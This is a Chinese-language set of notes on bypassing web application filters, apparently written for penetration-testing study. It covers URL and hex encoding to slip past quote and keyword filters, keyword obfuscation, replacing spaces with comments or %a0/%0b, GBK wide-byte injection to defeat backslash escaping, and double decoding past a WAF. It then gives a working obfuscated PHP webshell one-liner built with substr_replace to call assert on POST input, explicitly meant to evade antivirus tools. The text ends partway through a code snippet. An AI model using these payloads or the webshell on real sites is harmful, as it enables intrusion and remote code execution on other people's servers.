1.编码的问题
http在传输特殊字符时需要在浏览器中编码,常见的比如空格、回车符等
编码是有规定的,但是具体如何编码没有规定,不同浏览器编码方案不一致,不同字段编码方案也不一样
结论:所有浏览器都有编码的习惯,那么后台接收数据时。首先需要处理编码就是解码,解码是把已编码的字符还原,其余未编码的不动。
2.实际测试
当对浏览器的输入区域进行输入字符时会出现两种情况:
1.输入的字段被浏览器自动编码,例如输入空格,浏览器自动编码为%20,传输时http中也是%20形式传输的
2.输入的字段是编码形式,浏览器自动还原为解码形态,传输时http是解码形态。例如输入%61,浏览器字段还原为a,传输时同样
3.编码对于注入的意义
1.绕过一些对于特殊字符的限制。例如:单引号过滤,select name from users where user=‘admin’ ,由于单引 号被过滤掉,'admin’会过滤为admin,出现语法错误—成为 user=admin
编码%61%64%6D%69%6E就是admin,也可以是0x61646D696E(16进制)
2.后台对于输入的判断一般是两种顺序:
先解码后过滤—>执行sql //此顺序编码绕过无效
先过滤后解码—>执行sql //此顺序编码绕过有效
3.waf(web application firewall)两次解码:防火墙解一次,后台再解析一次
先解码后过滤—>传输 //此顺序编码绕过无效(二次代码可以绕过)
过滤—>传输 //此顺序编码绕过有效
4.关键字过滤
1.混淆:如果后台“吃掉”关键字and or。and可以变为anandd,吃掉中间的and后剩下剩余的and
如果后台匹配不完善,可以是大小写混淆,AND And等
2.替换:替换能执行相同功能的函数关键字或者函数。例如:and和&&,or和||(若直接输入字符被浏览器转码,可以替换为ascii码.&&转为%26%26),=和like
3.编码:
全编码 admin—%61%64%6D%69%6E
部分编码 admin—%61dmi%6E
5.特殊字符过滤—替换
空格的替换:空格是特殊字符,可以找其他特殊字符替换,%a0 和%0b 在sql-labs中有效,其他环境其他字符也能有效,需要测试
空格的间隔作用还可以用内联取代,order by 1为例,内联注释可以这样写:
/*!order*//*!by*/
(/*/注释 /!*/取消注释 )
空格的间隔作用还可以用注释取代,order by 1为例,注释可以这样写:
order/**/by/**/1
逗号的替换:from for
注释#的替换:构造永真 or ‘1’='1
6.单引号转义
单引号转义是在’----> ',意味着’失效变成普通字符,两种解决办法:
1.如果\没有被过滤或者转义,可以输入’来抵消\ ‘---->\’ 这里中间的\被第一个\转义从而使得’有效
2.如果\被过滤或者转义,我们可以使用宽字节注入来实现单引号有效化,具体是如果数据库的表或者数据库的编码集是GBK GB2312 GB18030是可以实现汉字双字节编码的,我们利用\编码是%5C,在其前边添加一个%81–%fd的编码来实现宽字节编码。例如%81%5c是x字,这样单引号就不会被\转义,从而顺利构造闭合
双引号等字符闭合相同
7.webshell绕过总结
关于eval 与 assert
关于eval函数在php给出的官方说明是
eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用
可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行
通俗的说比如你<?php $a=eval;$a() ?>
这样是不行的 也造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行
关于assert函数
assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。 当信息能够被其他方法捕获,使用断言可以让它更快更方便!
字符串变形
字符串变形多数用于BYPASS安全狗,相当对于D盾,安全狗更加重视"形"
一个特殊的变形就能绕过安全狗,看看PHP手册,有着很多关于操作字符串的函数
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。
由于PHP的灵活性操作字符串的函数很多,我这里就不一一列举了
用substr_replace()
函数变形assert 达到免杀的效果
<?php $a = substr_replace("assexx","rt",4);$a($_POST['x']);?>
chr()
chunk_split()
strrev()
addcslashes()
addslashes()
其他函数类似 不一一列举了
定义函数绕过
定义一个函数把关键词分割达到bypass效果
<?php function kdog($a){
$a(